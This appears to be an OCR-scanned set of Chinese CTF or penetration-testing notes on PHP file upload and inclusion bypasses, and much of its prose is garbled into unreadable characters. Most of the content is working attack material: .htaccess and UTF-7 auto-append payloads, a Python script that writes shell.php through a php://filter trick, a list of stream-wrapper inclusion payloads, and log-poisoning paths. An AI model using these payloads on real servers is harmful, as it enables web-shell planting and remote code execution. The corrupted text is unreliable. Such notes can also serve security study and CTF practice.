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sMatch
etHandler application/x-httpd-php-source

Require
</FilesMatch>

denied

<IfModule
<Directory
php_admin_flag engine
</Directory=
</IfModule=

"/etc/apache2/mods-available/php5.6.conf" 25L, 867C
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<?php
if(!preg_match('/.+?ph/is',$_POST['n']))

file_put_contents($_POST['n'],$_POST['s']);
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import requests

data= {'n':"php://filter/write=convert.base64-decode/"+'/"'*1000000+'/resource=shell.php','s":"PD9waHAgcGhwa

print (requests.post('http://127.0.0.1',data=data).text)
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fEApache 2.0.x <= 2.0.59, Apache 2.2.x<=2.2.17, Apache 2.2.2 <= 2.2.8"%1Apache f##fr SCHF I =2 WA
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#1.php.abe, Fapache2 iR 5l.abcfa4%, Fir BA R f#drphp

1.2 .htaccess

Apachef@fit 7 —FIR 7 (/. FIYEA T 401 B % &HF H FHE B XX F——.htaccess (407 R E X4
Lk HECE L ARA AllowOverride All, 3 Frewrite_ modJF B i, .htaccessSCAEm &4 3.
1.2.1 Options

5 H 3%:

Options +Indexes

A AIAT coife 7«

Options ExecCGI

fEHT Cgifti 23 B #Ehttps://www. freebuf.com/vuls/218495.htmi

1.2.2 AddType application/x-httpd-php abc

L4 7E htaccessH 5 AAddType application/x-httpd-php abch, i< 1.abc2EphpC i@



1.2.3 php_value. php_admin

php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess

+ADw?php phpinfo()+Ads

UTF-7. UTF-16. UTF-32& 7w
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php_flag engine ©
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AddType application/x-httpd-p\
Ip .abc
ph\

p_value a\
uto_append_file 1l.abc
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1.2 CVE-2017-15715

MR AR STER, XA Z SR —AM\x0ask Seid 6424 B b 4% B R i1

(2) Nginx
2.1 CVE-2013-4547
2 https://github.com/vulhub/vulhub/tree/master/nginx' CVE-2013-4547
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2.3 .user.ini

H{EHCGI / FastCGl Kf#trphpht, phpRAEBEEFTHAR.INSCHE, FMARXFPHEE. #ilTFapache
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(3) PHP
3.1 007k 7
php WA K5.2.x, 7E_EAE SO R SO G 42 J5 8 IN\OBN /] ik _EAE ST, R38R L. php%s B RIS

3.2 fopen§F

<?php

$filename="'shell.php/.";

$content="<?php phpinfo();";

$f = fopen($filename, 'w');
fwrite($f, $content);
fclose($f);

?> //2FELE A Mshell. php

h. XHEHNERE
(1) %3t<?php,<?=

22 https://lwww.php.net/manual/zh/language.basic-syntax.phpmode.php



Example #2 PHP F&fIEFIRD

1. «<?php echo "if you want to serve XHTML or XML documents, do it Tike this'; 7>
2. «<script language="php">
echo 'some editors (like FrontPage) don\'t
like processing instructions';

</scripts

3. <7 echo "this is the simplest, an SGML processing instruction’; ?=
<7= expression 7> This is a shortcut for "<? echo expression 72"

4, <% echo "You may opticnally use ASP-style tags'; %>
<%= %$variable; # This is a shortcut for "<% echo . . ." %>

EHiIREY 170 2 RERXRCSEA AN, BERnE 1 hERER, FRENERR.

5EFRC (B 3) (M@ php. ini BB SRS S short_open_tag FTHEABI A, Zi&7E PHP HiEROA T —enable-shori-tags i#&IA.

ASP WXfEHRID (Ll 4) {N{EEE php. ini BOESZMFHEIESS asp_tags FIFAEA AT M.

Note:
ELMERRERERAEIRS: FESERAETHERSREE, BiesEArfistfESSE IR E. BRERRSSENaEF =IFEiFT.
AT HERISEEERTT, BEAEEREmC.

Note:
£ PHP 5.2 flZAIRIKEEFR, BEESRAMT— N ESRASEIE— AR <?php. B PHP 5.3 e2lImiFkdard, EEHSEimcESE—
I RESH=EH.

Note:
B PHP 5.4 2, EiBIL8Y echo iRiC <7- E=23BERIHB&ZE, MAE short_open_tag A&t 4. ," = 1--%%

HrAp 2R AEphp7 M AT CAE M, ZEphpSHH AT EAfEAT

(2) %iid[a-zA-20-9]
2%
https://lwww.leavesongs.con/PENETRATION/webshell-without-alphanum.html

https://lwww.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
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<?=phpinfo()?>

(4) exif_imagetype()
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(5) get_imagesize()

ZEREONREE S, WA TR B AR SO SR A, W] AR SO BTSN :

#define width 1337

#define height 1337
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tar cf 1.tar 1.jpg
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(1) rce

imagick rce:CVE-2016-3714

(2) file_put_contents

file_put_contents($filename, $content);

filenameZHZRELAUNERE N, ZRephphthil, XREEFEREBCCHF
Bks%.

https://xz.aliyun.com/t/8163

[xXHad]
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upload/../../../../../tmp/shell.php

—. Phtritget



ftp://shell.php

file:///tmp/shell.php

http://xxxx/shell.php

\\smbserver\shell.php //uncigE

phar://xxxx/x.zip/shell.php //FHishell.phpIT & Ax.zip L&
zip://xxxx/x.zip#shell.php // Tt shell.phpITRAx. zip kL&
php://filter/read=convert.base64-encode/resource=shell.php
compress.bzip2://shell.php

compress.zlib://shell. jpg

php://input [POST DATA] <?php phpinfo()?>

data://text/plain,<?php phpinfo()?> // AT Lhdata:text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
php://filter/read=convert.base64-encode/resource=phar://phar.phar
php://filter/convert.base64-decode|convert.base64-decode/resource=shell.php

php://filter/%72ead=convert.base64-encode/resource=shell.%70hp
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%% php_myadmin4.8.1 X4 £ IRIACVE-2018-12613

https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613

N. 8gHE
(1) apache2

Plubuntu Fapache24#il, 4ciEK/<?php phpinfo();?>, R )58 & /var/log/apache2/access.logBp a]

(2) mail

Ivar/log/mail.log
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